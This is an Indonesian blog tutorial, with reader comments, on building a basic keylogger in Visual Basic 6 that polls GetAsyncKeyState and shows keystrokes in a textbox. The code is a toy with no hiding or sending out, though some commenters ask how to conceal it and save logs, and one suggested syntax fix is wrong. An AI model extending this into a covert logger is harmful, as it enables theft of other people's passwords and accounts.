Pernah dengar Keylogger ? Tentunya pernah bagi anda yang suka berkutat dengan dunia komputer dan internet. Karena penting bagi kita, untuk menjaga privasi (password dan akun) yang kita miliki dalam dunia maya. Karena bisa saja saat kita berselancar di dunia netting, dengan menggunakan komputer orang lain (warnet/teman) telah dipasang suatu alat lunak bernama Keylogger untuk mencatat aktifitas yang kita ketikan melalui keybord. Tuing…. Bisa saja akun email, blog,web, dll di ambil alih oleh orang yang memanfatkan Keylogger tersebut. Bagai mana she membuat keylogger, Key logger sesungguhnya biasanya di jadikan seperti virus agar tidak bisa terdeteksi keberadanya. Namun tujuan utamanya hanya satu, yaitu mencatat aktifitas key board. Kali ini kita akan membuat keylogger sederhana (fungsi utama), yang mampu mencatat aktifitas user yang dilakukan melalui tombol keyboard. Okay, dalam tutor ini kita memakai visual basic 6.0, bagi anda yang suka bercoding bahasa lain juga tidak masalah karena yang kita butuhkan disini hanyalah 1 fungsi API. Pembuatan Taruhlah 2 komponen pada form, yaitu Textbox dan Timer dengan properti sbb:
Timer (name:Timer1,interval:200)
Textbox(name:Text1,Multiline:True)
Lihat gambar berikut !
Lalu tuliskan codingnya di balik jendela code form !
Private Declare Function GetAsyncKeyState Lib “user32” (ByVal vKey As Long) As Integer
Private Function GetKey() As String
Dim Num As Byte
For Num = 33 To 122
If GetAsyncKeyState(Num) <> 0 Then
GetKey = Chr(Num)
Exit For
End If
Next
End Function
Private Sub Timer1_Timer()
Text1.Text = Text1.Text & GetKey
End Sub
Penjelasan
GetAsyncKeyState, adalah fungsi API untuk mengecek apakah sedang ada tombol yang ditekan (dengan nilai ASC dalam parameternya). Maka jika ada tombol yang sedang di tekan (dengan nilai asc pada paramaternya – vKey) dia akan mengembalikan nilai bukan 0 (ndok), namun jika saat dia dipanggil tidak ada tombol yang ditekan maka dia mengembalikan nilai 0 (ndok)
Interval 200, pada timer menunjukan, proses pengecekan dilakukan 1/5 detik. Dengan kecepatan ini, terkadang Keylogger menangkap 1 tombol dengan 2 kali output. Namun ini lebih baik, dari pada kita memakai interval yang rendah, karena bisa saja ketikan tidak tertangkap dengan sempurna.
Textbox,kita pakai untuk menampung ketikan user.
OK kira – kira cukup sampai disini, bias dikembangkan sendiri.Silahkan jalankan maka program akan menangkap aktifitas tangan pada keyboard anda bukan pada celana anda lho.. Ha9x. 🙂
Download contoh projeknya !
Salam Maniz
HrXxX
Boss
kok pas yang masukiin coding form
“Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer” tulisannya merah ya??? “user32″nya merah tulisannya
Andro
Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer”
itu seharusnya dijadikan satu baris, :d. Cz editornya disini gak muat. Hi9x
see juga ya di
http://www.codenesia.com/
yang merah tuh gara2 salah mba mas tante om 😀
salah :: Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Bener :: Private Declare Function GetAsyncKeyState Lib “USER32″ (ByVal vKey As Long) As Integer
yg salah kalo di copas di VB jadi “user32? harusnya “user32”
maaf master, komentar dikit, Hehehehe…
Hahahaha… harusna [tanda petik2]user32[tandapetik2]
udah bener komentar diupload kok jadi gitu lagi
HaiHaTa2|2 mkasih yah…. tambahan komentaranya
mas..Kok “If GetAsyncKeyState(Num) 0 Then”
kok Error ya?
tanda 0
programnya yang salah apa sintaknya?
mohon pencerahannya…:)
If GetAsyncKeyState(Num)=0 then
seharusnya ada “=” lalu setelah then apa syntaknya
saya udah pindah kesini codenesia.com
Numpang nanya mas
– klo program aplikasinya gak dibuka apa masih jalan?
– biasanya klo keylogger kita buat program kita ga keliatan biar ga ketauan…. itu gimana?
– bisa juga simpan gambar ga?
– klo printscr gak jalan yah mas?
<<<<>>>>
<<<<>>>>
Sayasudahpindah kesini, gabung aj
http://codenesia.com/
sharing ilmu yuk
dari dulu gini2 aj keyloggernya. gimana kalo user menekan tanda seru (!), user menekan tombol shift + 1, tapi yang tampil hanya ascii dari shift saja. bagaimana dengan karakter yang perlu ditekan shift?
Mas, mau tanya, kenapa di VB saya Private Declare Function GetAsyncKeyState Lib “USER32” (ByVal vKey As Long) As Integer, Dikasih warning Statement is not valid in a namespace.
Private Function GetKey() As String dan
Private Sub Timer1_Timer()
juga dikasih warning seperti itu?ab
Pliss dijawab mas
Radityo : Tolong ke web baru aya aj, sya udah ninggalin web ini lama..
web baru saya adalah http://codenesia.com/
kk caranya buat gimna habis itu kan harus make project..
kog yng make project gk nyala tuh biar nyala gimna…….
Ke codenesia aj, saya sudah pindah web…
Kalo cara membuat dengan javascript ghimana..??
gw coba kok gk nangkap aktivitas keyboard gw
Kalo biar nyimpen file tersebut di file log, caranya gimana?
Gabung aja ke codenesia.com mas brooo